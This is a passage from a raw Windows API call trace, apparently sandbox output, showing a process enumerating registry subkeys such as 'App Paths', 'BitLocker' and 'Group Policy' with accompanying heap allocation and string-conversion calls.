ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0221.715] RegCloseKey (hKey=0xc4) returned 0x0 [0221.715] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.715] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.715] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.716] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.716] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.716] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x49b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0221.716] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.716] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.717] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x49b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.717] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x49b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x49c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.717] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x49b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.717] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x49b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0221.717] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.717] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.718] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x49b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.718] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x49b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.718] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x49b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.718] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.718] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x49b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.718] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.719] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x49b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.719] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x49b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x49c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.719] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x49b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.719] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.719] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x49b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0221.719] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.720] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0221.720] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.720] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.720] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.720] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.721] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x49b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.721] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x49b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.721] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x49b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.721] RegEnumKeyW (in: 